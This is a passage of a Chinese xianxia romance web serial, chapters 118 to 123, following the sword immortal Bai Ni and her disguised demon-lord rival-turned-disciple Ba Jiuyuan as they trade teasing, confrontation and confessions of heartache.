霸九渊:“真是对不起了呢师傅,今天您老人家的事情,徒儿我恐怕是管定了。” 白霓:“……” 118 第118章 ◎正派之首爱上反派宿敌的第九天◎ 白霓决定随他去了。 因为霸九渊这个人想做的事,旁人是根本拦不住的。 就像以前她要救的人,他偏要杀。 哪怕当时那个人已被她救走,后来时隔五年,那个人最终还是没能逃过他的魔掌。 霸九渊的固执是整个修真界有目共睹的。 和他硬着来,就是跟自己过不去。 白霓已经尝到了其中的苦果。 而那灵源山上的守泉弟子也尝到了同样的滋味。 守泉弟子:“灵源山上最高处的灵泉融入天地精华、稀世的仙草药材,不是谁想来就能来的!” 霸九渊:“啊?你再说一遍,我没有听清。” 守泉弟子:“所以我说了……若想要使用这个灵泉,则必须要得到门主大人的许可!” 霸九渊:“啊?什么?现在你好好看着我怀里的人,对,看着她的眼睛,然后把你刚刚对我说过的话,对、她、再、说、一、遍?” 守泉弟子:“即使是剑仙大人……” 霸九渊:“啊对对对,原来你知道她是你们圣、墟、的剑仙大人,为了你们圣、墟、出生入死、奔波卖命,我还以为你不知道呢?” 守泉弟子:“……………………” 守泉弟子:“剑仙大人……请进。” 霸九渊:“哼,算你识相。” 白霓:“……” 其实霸九渊这个人真的很矛盾。 他每每提及她时皆是咬牙切齿,当初说能复仇也是二话不说,只拿着枚身份木牌,孤身一人来到了这人人恨不得他死的圣墟。 如今到了这种时候,他又见不得她不好。 就像刚刚他把她打横抱起来的动作是那样不由分说的粗鲁。 现在抱着她走进灵泉又是那样的温柔。 方才还在冲守泉弟子大放厥词的说话语气一下变得体恤入微关怀备至。 “师傅大人您觉得如何?” “……” 白霓不禁闭上了眼。 当身处黑暗,耳边又一次响起了他满是担忧的话语。 霸九渊:“你怎么了???是哪里不舒服吗??” 于是再睁眼后,白霓对他伸出了手。 不管霸九渊当下是出于何种原因做出这些荒谬的事情,她都不喜欢,也不想要。 她不想被他可怜。 他越是对她嘘寒问暖,她越是觉得空虚,只想拒绝。 因为白霓隐隐有一种预感…… 霸九渊的这些关怀,全都不是给她“白霓”。 他说的所有的话…… 其实全部都是说给“圣墟剑仙”的。 所以为了推开霸九渊,逼他主动离开,白霓选择了去做会让他讨厌的事—— 她的双手在碰触到他身体的那一刻也没有停下,而是顺着水波滑进了衣襟,穿过腋下后抱住了他,像是相爱的恋人一样,依偎在了他的怀里。 白霓:“我觉得这样更好。” 霸九渊愣住了。 白霓认识他这么多年,倒也是第一次见他如此僵硬的样子,也是第一回意识到……他动作能这么快。 他在那刹那间便扒开了她的手,然后猛地窜到了岸上,死死捂紧了被敞开的上衣,用惊恐的眼神警告她: “你、你你我是师徒关系!这样于礼不合!!!” 当怀中的温暖顿然消散,当面对他充满了距离感的眼神,全是戒备的防御性姿态…… 白霓却只是微微笑了。 …… 虽说霸九渊现在是暂时走了,但这样还不够。 白霓想要把他推得足够远。 远到彻底回不来为止。 于是面对他的警告,她不退反进,站在灵泉中心的她又往他的方向迈出了脚步。 白霓:“怎么能说是于礼不合呢?” 白霓:“最先抱我的人不是你吗?我不过是做了同样的事,怎么就变成于礼不合了呢?” 她每说一句,便要迈出一步。 如今距离岸上的霸九渊还剩下不过七八步远的距离,而后者则是顺着白霓的话陷入了刚才“恐怖”的回忆,没有留意到她愈近的步伐。 霸九渊:“那完全不一样!你、你把手……!” 白霓:“我的手怎么了?” 那一定是很难开口的话,否则霸九渊也不会要眼睛一闭心一横,才能把那噎在喉咙好久的话给说出来。 霸九渊:“你把手伸进来了!!!” 白霓忍不住暂缓脚步停下欣赏他的窘迫。 毕竟……谁能看过气焰嚣张目中无人的天魔宗主这般模样呢? 完全脱离了方才那副霸道关心人的样子,如今面红耳赤得不像是天魔宗主,反倒像是……很好骗的纯情大男孩。 白霓轻声笑了下后,继续她的进程。 白霓:“徒儿,为师之所以把手伸进去,其实都是有原因的。” 白霓:“你昨日不也被人打伤了吗?为师不过是想检查你的伤势。” 白霓:“就跟你带为师来这灵泉的初衷是完全一样的。” “……这怎么能说一样!” 他终于在此时留意到她的循序渐进,于是忍不住大喊:“你别再过来了!” 可要是白霓不走,他也不会走。 所以她的步伐不止,随着她的移动在水面带起的波纹涟漪,像是在场另一个人的心湖……应该还要再激烈动荡上几十倍吧。 白霓:“为师也很想停下。” 白霓:“可是怎么办呢?” 白霓:“为师实在是太担心你的伤势了,不亲眼看看恢复得如何,实在是放心不下。” 霸九渊:“白霓……停下,你别过来了……” 白霓:“正好昨日被人打断了,我们现在来做完昨日没做完的事情吧?” 霸九渊:“你再过来我就走了!” 白霓:“你看是你自己主动,还是由为师我来……” 霸九渊:“我是说真的!” 白霓:“先说好了,为师向来粗鲁,下手没个轻重,要是由为师亲自动手,恐怕徒儿全身的衣服都保不住……” 当指尖即将触碰到衣角的时候—— 他终于消失了。 119 第119章 ◎正派之首爱上反派宿敌的第十天◎ 白霓本来该要满意的。 毕竟那一招确实很好用。 哪怕回到了剑仙府,霸九渊躲她也跟躲豺狼虎豹似的,不会再不知分寸地同情她、关心她。 但问题是…… 他的反应有点过了头。 打那过后的一连五日,她和他硬是一句话都说不上、半个身影都见不着。 好不容易有一次在转角偶遇,霸九渊见她跟见了鬼似的,竟是在发出一声惨叫后落荒而逃。 “……” 白霓就是在那一刻产生了疯狂的想法。 霸九渊越是对她避如蛇蝎,她越是想立刻捆住他的手手脚脚,然后在他惊恐又伴随着羞赧的神情下,一点一点地把他扒光,叫他知道什么叫人心险恶、世道疾苦。 尤其当现在听到他说…… 霸九渊:“师傅!徒儿我的伤势已经痊愈!日后就不再劳您费心了!” 看到他得意的神情,那仿佛在说“我已经好了,你已经没有借口了”那种你能奈我何的样子…… 白霓就更想狠狠地折磨他,在他那结实精壮的肌肉上留下掐印血痕,把他此刻脸上的嚣张得意彻底扭曲成羞愤恐惧。 “……” 霸九渊:“师傅??你有在听我说话吗?” 听着呢。 听得人都快魔怔了。 白霓深深呼出一口气,努力放空大脑,驱除邪念。 好不容易才迎着霸九渊那副想让人疯狂折磨的欠揍表情,不咸不淡地回了两句: “听到了,恭喜你身体好了。” “我以后不会再费心了。” 其实保持距离是对的。 他和她本来就是应该保持距离的关系。 无论是和谐温馨又热闹的氛围,还是他好像忘了与她的宿怨,对她和颜悦色,全部都只是一时的。 霸九渊可以暂时忘记他原本的身份,但她白霓不能忘。 从最一开始—— 霸九渊就是为了复仇而来。 白霓:“既然你的身体已经好了,那为师也该一尽本分,开始教你本门的真才实学了。” 【恭喜宿主以“风逸尘”的身份成为攻略目标“白霓”的亲传弟子,“背叛”系列复仇计划已为您开启!】 【亲爱的宿主,现在您已经成功接近了复仇对象,接下来您需要做的,是努力取得她的信任,彻底打消她对您身份的怀疑。】 【身为徒弟,向师傅学习是您的本分。】 【请您接受攻略目标“白霓”的指导,领悟天级功法“不灭九式”-“一章不屈”。】 【提示:功法“不灭九式”非但是圣墟仅存的三本天级功法之一,更是由攻略目标耗费十年光阴,呕心沥血创造而成。若是能将其偷学盗走,日后她在得知您的真实身份后,一定会深受打击吧?】 【提示:你们的师徒情谊有多么深厚,她对你有多么信任,日后在被背叛时,就一定会有多么痛苦。】 …… 若是霸九渊觉得那本天级功法的名字格外耳熟,*那也是正常的。 毕竟“不灭九式”的确是白霓以霸九渊他这个人、和他的“天魔九式”为轴心,从上古石拓古籍中修编出来的功法。 霸九渊是刀修。 还不是一般的刀修。 他那把凶刀出自千年前的战场,饱饮无数冤魂的血恨,普通人一碰即疯。 霸九渊能成为凶刀的主人,看似是完全掌控了后者,可实际上他的刀法,在很大程度上受到了凶刀的影响。 尽管那并不是流传得很广的一个外号,但一出鞘必见血的“天魔疯刀”说的确实是他霸九渊。 他这个人的刀法实在费命了。 既费敌人的命,也费他自己的命。 一战损起来,还连带着要她的命。 因此为了让大家都能好过一点,“不灭九式”由此而生。 “不屈”“不折”“不移”“不阿”“不羁”“不惑”“不弃”“不息”“不朽” 合共九章。 与他自创的“天魔九式”相辅相成。 可虽说“不灭九式”是因他而起,但霸九渊过去也不可能从她那里收下,因此白霓便将其放在了圣墟秘阁,如此便是许多年。 如今终于将其取回,却不想……还是让他误会了。 只因那“不灭九式”非但是一本天级功法,同时也是一本…… “体修”功法。 霸九渊:“我不会脱的!!!!!” 白霓:“……” 看着他抱紧自己,甚至双目含着羞愤的泪水的样子,白霓不禁头疼扶额。 白霓:“……谁让你脱了?” 霸九渊:“你!!!!!!” 霸九渊:“我明明是个刀修你却让我修体修的功法,还把我带到这里来,不就是想让我脱吗???!!!!!” 霸九渊:“我不会让你羞辱我的身体的!!!” 白霓:“……” 又是那个“伤风败俗”“不堪入目”的心理阴影。 解铃还须系铃人。 白霓倒也是想直接用强的来硬的扒光他的衣服,哪怕他们两个人最后都羞愤欲绝,也要把他的肌肉和脸夸个千百把遍。 只是若真要这么做,难免要和霸九渊动手。 一动手,他必当发现那灵源山的灵泉根本没有解开万幽寒潭的寒毒。 白霓已经不想再被他用那样的眼神所看待,也不想再得到他的关心。 所以她最后只是背过了身。 “不会让你脱的,也没有脱的必要。” “你若不喜欢为师看你,为师便不看了。” 见身后没有传来只言片语,只是仿佛有一双怀疑的视线几乎要把她盯穿,白霓接着说了下去。 白霓:“此地名为天瀑,是我们圣墟落差第一大的瀑布。” 白霓:“若想掌握不灭九世的一章‘不屈’,此地是最佳的训练场地。” 白霓:“切记,期间不得用灵力建立护盾抵抗冲击,必须要按为师教你的口诀运转灵力。” 白霓:“为师便在这里等你,若是你不放心,大可往设下定身符,为师不会挣扎的。” 霸九渊好像松了口气,终于有些愿意相信她了。 但好不容易走到这一步,这时又有人跑出来坏事了。 ‘大哥!!!她一定是在骗你的,你不要相信她啊!!!’ ‘那个女骗子是个惯犯!’ ‘以前我还以为圣剑是沉默寡言,但通过这几天我确定了……圣剑根本没有器灵!那个女人根本没有得到圣剑的认可!’ ‘她是个大骗子,大哥你不能被她骗了!’ 白霓:“……” 是凶刀。 为了不暴露身份,它本来是被封印了,如今看来是太气不过了,所以才会挣破封印突然出声。 这次她就装作没有听…… 霸九渊:“圣剑没有……器灵?” 霸九渊:“白霓?这是真的吗?!” 白霓:“……” ……看来不能装听不见了。 120 第120章 ◎正派之首爱上反派宿敌的第十一天◎ 其实如果放在过去,白霓也不会有什么羞于或者恐于承认: “圣剑没有生出剑灵” “她是虚假的圣剑之主” “过去的五十年间是为了巩固她正派之首的名声,而不得不隐瞒这个事实” 哪怕被全部人所知、唾骂,也没有什么所谓。 可就是在霸九渊用那么欣赏、那么钦佩的口吻去称赞“圣墟剑仙”的高洁和正义之后…… 好像有很多本来随便能说出口的话,一下子变得都说不出来了。 于是当面对—— 霸九渊:“……你不是圣剑之主吗?圣剑……怎么会没有器灵呢?” 白霓没有立刻开口回应。 而她的沉默,再一次被霸九渊当成了是默认。 他看上去很震惊。 当看到他错愕的眼神、反应不过来的神情,白霓只是忽然间觉得有一点恍惚。 她能立刻联想到霸九渊接下来该会是如何的表现。 他会对欺骗了世人和自己、强占了圣剑的白霓感到愤怒。 对那个根本不符合自己认知的白霓感到失望。 他马上会质问她,到底为什么要那么做,为什么明明她五十年都没有得到圣剑的认可,却依然占据了圣剑之主的名誉。 霸九渊理应会、也应该要那样。 可是…… “……” 他没有那样。 从那双惊疑不定的眼睛里之后流露出来的…… 是更加柔软的、温柔的感情。 那就像是…… “惋惜” “同情” 她又再一次……被他所可怜了。 霸九渊:“或许是哪里有误会……” 白霓:“没有误会。” 迎着他怔愣视线,白霓拔出了腰间佩剑。 不要怜悯。 白霓:“圣剑确实没有器灵。” 不要皱眉。 白霓:“所有人都说我是圣剑之主,却不知这几十年间,我从来没有一日一刻一息得到过圣剑的认可。” 白霓:“但就算这样……” 她仅仅是随手一挥,只见那落差高达上千米的瀑布竟是被直接拦腰劈开,甚至断层长达十息没有闭合! 白霓:“任何人都不能轻视我。” 她收剑后回首,看着霸九渊微微出神的双眼一字一句地告诉他: “所以不要同情我。” “我不是你可以同情的存在。” 可“同情”那两个字似是触发了什么,让霸九渊顿时回神,急忙反驳: “不是同情!” “你疯了吗??我怎么可能会去同情你????” 白霓也有点崩溃,于是那副一直平淡的神色开始出现裂痕。 白霓:“那你现在到底在想什么???” 白霓:“即使不是失望,你现在也应该感到被骗的愤怒!你可以嘲笑我,但凭什么皱眉还用这种眼神看我?!” 霸九渊被她的失态说愣住。 隔了一息,才终于有了动作。 霸九渊:“……我感觉这里。” 他指了指自己的胸膛。 然后说:“有点不舒服。” 当意识到指尖所指之处是自己的心脏,他最后恍然大悟地说了一句: “白霓,我会觉得很心痛。” “……” 以前从来没有一个瞬间,会像此时此刻这样…… 让白霓是那么的想毁掉“圣墟剑仙”。 即便不去问霸九渊为什么会觉得心痛、到底为谁在感到心痛,只当他说出“觉得心痛”的那几个字眼,她都知道他是在为圣墟剑仙感到不值、替她难受委屈。 那所有的、全部都是面向圣墟剑仙的情感。 那就像是霸九渊在透过她去关心另一个人。 “……” 白霓不知道该说什么。 或许什么都不说才好。 因为再开口,她或许会忍不住想要毁掉霸九渊心目中那大慈大悲、正直无私的圣墟剑仙。 于是沉默地转身离开,是白霓当下唯一的选择。 偏偏那个人非但追了上来,还抓到了她的手臂。 霸九渊:“怎么这么凉——” 白霓:“我现在不想听你说话。” 应是她冷若冰霜的语气伤到了他,白霓这才能毫无阻碍地把袖子扯回来。 没有再多看霸九渊一眼。 她的目光从那一刻开始始终落在地上,连神情也是淡淡。 “我有些累了。” “今日到此为止吧。” …… 倘若要问霸九渊是从什么时候开始察觉到了不对…… 那也许是从空无一物的剑仙府开始的。 大概是在那一个瞬间,他突然意识到了所谓的“圣墟剑仙”,并不像他、像世人知道的以为的那样光鲜亮丽。 连她本人,也并非世人所见的那样淡如云烟,永远的清冷淡泊。 所有人只看到了抬头就能见到的光。 而从来没有看过、也没有想过要去看光后面的光景。 霸九渊以前也没有。 不过现在,他开始想要了解了。 …… 其实越想、越看,就越觉得荒谬。 身为圣墟剑仙、堂堂正派之首的剑仙府,居然比荒山上的庙里还清贫,这像话吗? 按照他们天魔宗的规矩,他们圣墟的每一个人就应该每天都过来剑仙府给白霓磕一个。 霸九渊是真心如此觉得。 毕竟在他看来,没有白霓的圣墟一文不值。 她应该要得到最多的最好的,而不是连收一个弟子都要被百般刁难、遭到东推西阻。 那是在白霓蒙圣墟门主召见离开后的一会。 当时很快有个傻逼出现,还指着他的鼻子说些什么…… “将你收为亲传弟子是剑仙大人一时失误了。” “你若是识相,便主动离开,不要逼我们出手。” 那一天霸九渊默默忍了很久。 忍到最后忍无可忍。 所以到最后,他本来是想大开杀戒的。 偏偏……白霓用那样的样子回来了。 其实在看到她的那一个瞬间,她浑身湿透、眉眼结霜,他会觉得很难受。 尤其当白霓是那副什么表情都没有,好像什么东西都不在意,仿佛世间一切对她来说既无意义也无所谓…… 他会觉得更加心痛。 霸九渊说不上来为什么会这样。 虽然不是同情,但他也不知道那心痛究竟从何而来、因谁而起。 所以现在,他要去搞清楚背后的原因了。 夜半时分,月上中天。 门被扣响后,霸九渊放低了声线,着手骗人开门。 “师傅,徒儿知错了。” “能不能给徒儿开开门?” 门的另一边隔了几息才终于传来一声轻叹。 当霸九渊的眼前露出一条门缝后,他马上将门缝变成了长达一尺的间距,还一手拉住了白霓的手腕,眉心顿时收拢。 “为什么这么冷?” 他眼中那个仿佛蒙了一层雾纱,让人看不清看不透的圣墟剑仙在愣了一下后,用往日一贯的、那什么都没有的表情,反问他: “你知道……自己在做什么吗?” 霸九渊点了点头,很认真回答:“我知道。” 却不想那人却是嗤的一声笑了出来,可明明在笑,那笑容仍是淡得仿佛不存在一样。 白霓:“你真的知道……自己在越线吗?” 霸九渊的余光扫过自己拉住了白霓手腕的手,若有所悟地应了一句:“啊……这算是越线啊。” 白霓:“所以……” 霸九渊:“那就越线吧。” 迎着她抬头望来的微愕视线,霸九渊的一只手拽紧了她,另一只手则死死按在了门框上。 他俯身低头,嘴唇与她鼻尖距离也许只剩下十公分。 便是盯着那双总是什么情绪都没有的眼睛,霸九渊十分认真,一字一句地告诉她: “白霓。” “我现在要越线了。” 120-130 121 第121章 ◎正派之首爱上反派宿敌的第十二天◎ 白霓很少会听到自己的心跳声。 无论是在被世人称作死战的交战中,还是落入九死一生的境地里,好像从来没有一个瞬间,会让她听到自己的心跳。 但是在这一刻—— 她听到了。 他离得这么近。 执着的目光霸道到有点不由分说。 别说他的气息了,好像连她眨一下眼睛,睫毛都能碰到他似的。 全部都太新奇异样了。 连带着那“砰咚”“砰咚”仿佛就在耳边的鼓动,所有的一切都让她陌生。 以至于再开口时的语气,才会那样迷茫。 白霓:“其实……什么算是越线呢?” 霸九渊果然被她一句话给震住。 他脸上先是流露出了“越线不是你先提出来的吗??”的震惊,然后是“为什么现在还要问我??”的无语。 但到最后,他还是老实……似乎也算不上老实地回答了她的问题。 霸九渊:“就像是这样。” 言语之间,他猛地往内室跨出了一大步。 白霓被他结实的身板推得不得不后退,又因为离得实在太近,她眼前除了从微微敞开的黑红色衣襟之间露出来的硬挺肌肉,的确是看不进其他任何东西了。 许是她的目光过于露骨,才让那个终日陷在心理阴影中的男人发现了端倪。 其实要说起来……霸九渊从以前就开始有点怀疑了。 白霓虽说总是给他落下些什么“伤风败俗”“不堪入目”的评价,可既然她那么讨厌……为什么每次与他交手非要用剑气撕破他的衣服? 又为什么明明不喜欢,却还是要一次又一次地用眼睛扫过??? 事到如今,真相大白。 霸九渊:“哎哟哟哟哟,怎么都别不开视线了?” 霸九渊:“其实你是不是喜欢?” 霸九渊:“只是因为害羞,所以才假装不喜欢?” 白霓闻声抬头的时候正好看到了他咧开嘴角,笑得得意洋洋。 他和那个死不肯脱衣被检查伤势的霸九渊实在是天差地别,所以白霓才无语到没有出声,只与他沉默对视。 而到这个时候,霸九渊也不知道什么叫羞愤了,像突然发现自己手握绝对致胜的法宝,他微微扬起的下巴还有那语气,如同骄傲狂妄的山大王。 霸九渊:“脱是不可能脱的。” 霸九渊:“但如果你回答我一个问题,我就让你摸一下。” 空气安静了一息。 最后白霓听到自己应了声好。 …… 霸九渊倒也不是马上问出了他的第一个问题。 安静下来之后,他顿时被眼前家徒四壁的光景吸引了注意力。 白霓顺着他的目光先是看到了地面蔺草编织的叠席,接着到两侧什么都没有的白墙,最后是朝山林敞开的折门。 今夜月色明亮。 不肖点灯,白霓已经能清晰看见霸九渊眼神中的难以置信。 他似乎是很想立刻发火,但又强行忍住了。 压下心绪后他说出的第一句话倒是少见的严肃。 霸九渊:“每一个问题你都必须要如实回答。” 白霓应了声知道了。 霸九渊:“你的身体为什么还是这么凉?到底是谁伤了你?” 两个问题。 白霓:“没有人伤我。” 白霓:“我体内的寒气……应该要说是寒毒,源自于万幽寒潭,那不是一般灵泉能够驱散的。” 见他的眉心一下子拧了起来,不用他问,白霓多回答了一个问题。 白霓:“我那日是在万幽寒潭泡久了一些,所以寒毒才这般厉害,但只要再过半个月,便能完全好了。” 结果她的好心解答换来的却是他的不识好歹。 霸九渊看她的眼神像是在看傻子。 “白霓,你是不是有病?” “……” 白霓不禁也跟着皱起了眉头。 她正在忍耐的时候,那个人倒是不忍了,那汹涌而来的火气能把她的头发吹得都往后面飞。 霸九渊:“我看你是疯了吧??那万幽寒潭是长腿了吗?还能追着你跑不成??你非得跟它过不去???” “……” 白霓闭了闭眼,又忍了一次。 “……是责罚。” 霸九渊:“哪个傻逼敢罚你,不会杀了???你的手长着干什么的?杀个人很难吗?非要别人教你吗??” 白霓:“你给我好好说话——!” 霸九渊被她凶得愣了愣。 随后也不是跟她硬着来,而是又用那日在灵泉前的腔调开始阴阳怪气。 “真是对不起了呢师傅,一想到有傻逼胆敢欺辱我尊贵的师傅大人,徒儿心里实在太气,一时之间就管不住嘴巴了呢。” “所以可以劳驾师傅大人告诉徒儿究竟是哪个傻逼惩罚您了吗?” 霸九渊每说一次“傻逼”,白霓的太阳穴就跳一下。 她忍了忍,又默了默,才终于应道:“是圣墟门主。” 霸九渊:“他凭什么罚你?” 霸九渊:“就因为你违背了他的意思,擅自把欺负我的外门弟子逐出了圣墟,又将我收作亲传弟子?” 听到他这么说,白霓微怔了一下,但没有多言,只是点了点头。 结果那点下去的下巴还没有完全抬起来,先是听到对面传来一声冷笑。 “白霓,你这个圣墟剑仙、正派之首当得真窝囊。” 白霓依旧保持沉默。 可她别开视线的动作却让对方更加火大。 他又不由分手地拉起了她的手腕。 但许是因为那刺入掌心的寒气,以至于那本来是十足十的怒火之中,忽而携上了几分痛意。 他很无奈又很无语地问她:“你不能反抗一下吗?” 白霓:“不能。” “什……” 白霓:“惩罚我、命令我,向来是他展现自己权威、确定我仍然受控的表现。没有必要做不必要的事情,去节外生枝。” 白霓:“而且我不在意。” 迎着霸九渊那实在过于复杂,让白霓完全不想看懂的目光,她拍了拍他的手背,轻声告诉他: “我觉得没关系,所以不在意,因此也就没有必要去反抗了。” 她说的话也许多多少少有些难以消化了。 要不然霸九渊也不会隔了片刻,才一本正经地严肃开口: “白霓,圣墟门主是你的父亲。” 白霓不由地笑了。 那笑意宛如春日里的曦光。 不是不美丽。 但只是对于霸九渊来说,她接下来说出来的话,并不是能够用笑脸说出来事情。 白霓:“圣墟剑仙是不会有父亲的。” 白霓:“不止是父亲,圣墟剑仙不能有家人、朋友,任何的弱点软肋。” 白霓:“因为她必须要足够强,她一定要站得足够高,才可以成为那个能够平等地、公正地,照亮所有人的光芒。” 她把手放在了霸九渊的胸前,那压抑的心跳声跟他的表情一样深沉凝重。 白霓:“其实你不需要为我心痛,也不必难受。” 白霓:“因为那所有的一切……” 白霓:“我真的全都不在意的。” 其实圣墟门主说得是对的,她的脑子已经不清醒了。 她好像已经不在意被霸九渊发现真相。 发现真实的她……其实并不如他以为的那样,是美丽高洁、大慈大悲的圣墟剑仙,而是一个对所有的正义、善举,乃至全部人的生死,都没有任何所谓的冷血兵器。 甚至要说起来…… 白霓还突然有点期待看到日后霸九渊知道所有真相后,对她失望透顶的表情和反应。 毕竟那就代表他完全了解了真实的她。 而真实的白霓,能带给所有人的…… 只会是失望。 白霓:“问题问完了?” 白霓:“问完了便走吧。” 她抽回双手,与霸九渊擦肩而过,往折门后的清风明月走出两步。 白霓:“你的十五个问题我便当从来没有听过。” 白霓:“你也当我从来没有答过吧。” 当她回首,看到的仍是霸九渊那有点执拗的神情,嘴边多了几分无奈淡笑。 “我是脑子不清醒。” “但你就不要同样如此了。” 白霓手心向上,往外一送,木门顿开,霸九渊人便被她送到了屋外。 “啪嗒”一声闭门声后,二人天各一方,唯白霓淡薄到仿佛什么都不剩下的声音留给了他。 “今夜没有越线。” “你我仍是师徒。” “一切无事发生。” 122 第122章 ◎正派之首爱上反派宿敌的第十三天◎ 霸九渊似乎很恼火。 他被她送走后的不久,外头冷不防传来“砰”的一声巨响。 那像是肉拳砸进了墙壁里,连门窗都在震动。 恐怕是觉得跟她再说一句都嫌多,那声发泄般的巨响过后,霸九渊一言不发地离开了,一直安静到了天明。 仿佛是同意了她的说法。 今夜没有什么越线,也没有过什么问答,更没有“答一个问题让摸一下”的荒谬交易。 其实白霓都可以理解的。 毕竟霸九渊他这个人的性情直爽,行事乖张,向来有仇必报不爽就干,除了遇上她白霓是无可奈何,否则绝对不吃一丁点的亏。 而她所做的一切落在他这样的人的眼中时,那自然是懦弱又窝囊,甚至比以前还要讨厌她,都是再正常不过的事情了。 白霓不是不懂。 她只是觉得没关系。 因为比起被他瞧不起,她更不想看到的是霸九渊指着自己的心脏,对她说这里有点不舒服。 更不想从他嘴里听到“我会觉得很心痛”。 万幸。 在沉默了一夜过后,他没有再说这样的话。 霸九渊:“哈……天都没亮你又要去哪?” 霸九渊:“圣墟到底是给了你什么好处,你非得上赶着给它做牛做马?” 霸九渊:“算了……你和圣墟的事情我也管不着。” 霸九渊:“但我这个师傅是你自己说要做的,说要尽本分、教我真才实学也是你自己亲口说的。” 霸九渊:“所以哪怕有师门任务也给我推掉。今天一天,你必须履行人师的职责。” “我。” 他的食指中指指了指自己的眼睛,然后比向了她,像是两根箭一样紧紧扎在了她的身上。 “会盯着你的。” “白霓!你休想赖账!” …… 霸九渊在剑仙府外的大石头上沉默地静坐了一夜。 既没有自言自语,也没有对系统大吐苦水。 白霓于拂晓之际步出剑仙府,第一眼看到他的时候,便是他一腿支起一腿内盘、连狗路过都要被他骂上两句的豪横坐姿。 被露水打湿的衣裳黑红相间,明明连发尾都在滴水了,却还是一副狂霸酷拽吊炸天的表情。 仿佛生怕她见了他转身就走,于是霹雳吧啦地甩出了一大堆话。 他应该是真心想把她留下。 所以才会在她沉默转身之后,如火烧屁股的猴子一样急得喊她:“喂——!白霓——!” 白霓回首看了他一眼,没有停下脚步。 “跟我来吧。” “我们继续昨天没完成的事情。” 其实霸九渊都这么讨厌她了,连共处同一个剑仙府都不肯,宁愿在外面的大石头上坐一夜。 如今说这么多又是何必。 白霓不想深究。 既然他愿意、他想。 那就这么做吧。 …… 第二次来到圣墟天瀑的霸九渊,恍然跟昨天是不同的两个人。 昨日他还分明从灵魂都散发出一种不情愿,大喊大叫着说自己不会脱的,不会给她机会羞辱他的身体。 然而今天,她尚未开口,他已是主动步入潭中。 但让白霓开始隐隐觉得有些不对的,是从霸九渊做了一个没有必要的动作开始。 ——她带他来到此地,本意不过是想借天瀑的落差助他领悟天级功法的第一重境界。 霸九渊本无必要入潭,他又不是不会飞,直接飞到瀑布下方即可。 可他偏偏走了进去,还蹲身潜入水中任水打湿衣裳,一举一动皆是慢条斯理不疾不徐。 好像这样……才能让她看得更加清晰。 是了。 确实是过分清晰了。 被水打湿的衣服变重,紧紧吸附在了肌肤之上,将身体隆起的轮廓凸显得无比清晰。 伴随他的每一次呼吸,水珠流经脖子后消失在深陷下去的锁骨,布料下肌肉的线条随起伏的胸膛而喷发出强烈的张力。 像是因为衣服贴得太紧所以不舒服,骨节分明的手扯了下衣襟,于是健硕饱满的胸肌顿时呼之欲出,而那露出来的胸沟恍然在疯狂发出“快来开餐吧”的邀请。 白霓:“………………………………” 白霓:“你这是在……干什么?” 白霓不该这么问的。 当意识到她的视线、她的注意力全部在他的身上,那个突然像变了个人的男人如同猎豹一样直勾勾地盯着她。 嘴角有笑踌躇满志,那形如铁了心要干一番大事,仿佛他昨日沉静了一夜,便是在为此时此刻要做的事下定足够的决心。 霸九渊:“看不出来吗?” 霸九渊:“我在勾引你。” 白霓:“………………?” 正当白霓因他突如其来的语出惊人而反应不过来的时候,霸九渊开始往回走。 见他朝着自己的方向来,白霓下意识往后退了一步。 可那个人反应更快,身手敏捷如豹,他直接从水中窜出! 溅起的水珠遮蔽了白霓的视线,等她意识到的时候,耳边草地的香气已经扑鼻而来,她的正上方下起了局部小雨。 白霓:“……” 她过去曾把霸九渊打趴打残过无数次。 今日倒是第一回被他反扑了。 不止是身体,连在精神上,他都想要完全碾压她。 他说的每一句话都伴随瀑布形成的巨响,轰隆隆地撞入她的耳中。 霸九渊:“你要是喜欢,你就直说。” 霸九渊:“只要你说喜欢,我就脱给你看。” 霸九渊:“你说你冷,想要温暖,我就抱你。” 白霓:“等、等等……” 从来只知道不爽就干、横冲直撞的天魔宗主的世界里没有“等”字。 他眼疾手快地抓住了她才刚抬起来的手腕,越过头顶,死死按在了青草地上。 比他动作更胆大妄为的,是他没有分寸,简直要把天地掀翻了的话。 霸九渊:“你可以假装昨夜无事发生,我也可以当做从没有越线。” 霸九渊:“可以是师徒。” 霸九渊:“但不能只是师徒。” 迎着白霓愈渐混乱的神情,他的嘴角咧出意气风发的笑。 “师徒关系限制了我的发挥。” “我不想次次都要被冠上以下犯上的罪名。” 当意识她人已经被他爆炸性的发言彻底说懵,霸九渊紧掐住她手腕的手松了松开,转而揩去了落在她脸颊上的水珠。 他的动作已经能称得上是温柔。 但最后说出口的话,却像是带着恨意般的咬牙切齿。 “我不想再为你心痛了。” “白霓。” “你……不值得我为你心痛。” 123 第123章 ◎正派之首爱上反派宿敌的第十四天◎ 怎么可能会不混乱呢? 水珠不断从他身上掉落在她身上。 目光只要下移一点就能看到他袒露在外的胸膛。 喜欢了那么多年的人在触手可及的距离,只要微微偏头,她的发丝就能蹭到他结实的小臂。 他非但用那样专注仔细的目光凝视她,甚至抚摸她脸颊的动作都是那样格外温柔仿佛十分珍惜。 “……” 是啊。 无论是脑袋嗡嗡作响,还是心乱如丝,更或是后来听到他语带恨意地说“你不值得我为你心痛”而呼吸一滞—— 全部都是再正常不过的事情了。 霸九渊:“白霓,你是圣墟剑仙,是正派之首。” 霸九渊:“这世间任何一个人都不能、且没有能力去压迫你。” 霸九渊:“你可以去喜欢,可以大声说出来,可以反抗,更有资本恣意妄为、随心所欲。” 霸九渊:“所以……拜托你不要再去接受那些不合理的责罚,为了那些不值得、不懂得珍惜感恩你的人去出生入死,又用那好像彻底死心了一样的语气……说一切都没关系无所谓。” 霸九渊:“请你反抗吧。” 霸九渊:“不要再活得……让人这么的看不起,如此的窝囊了。” 从霸九渊咬牙切齿恨铁不成钢的口吻,他充满纠结的一字一句,白霓看到了他莫大的矛盾和煎熬。 他本来恨她。 可后来在得知她在圣墟的处境后变得既想恨她,却又恨不了她。 所以为了从矛盾的漩涡中解脱出来,他想要通过牺牲自己来唤醒她。 所以他才会说“只要你说喜欢,我就脱给你看”“你说你冷,想要温暖,我就抱你”。 他所说所做的一切,所图所求,全不过是为了帮她这个圣墟的工具—— 重新变成一个有喜好悲欢、有欲望贪求的活着的人。 “……” 白霓不由地便笑了。 这天底下恐怕再也找不出第二个人能像霸九渊他这样……用全天下最拽的表情,做着最温柔的事。 只可惜他的温柔注定错付。 因为她…… 并不是值得他去那么做的人。 白霓:“说完了吗?” 霸九渊:“什——” 白霓:“你要是说完了就起来吧。” 霸九渊:“……你还没有给我回复。” 回复? 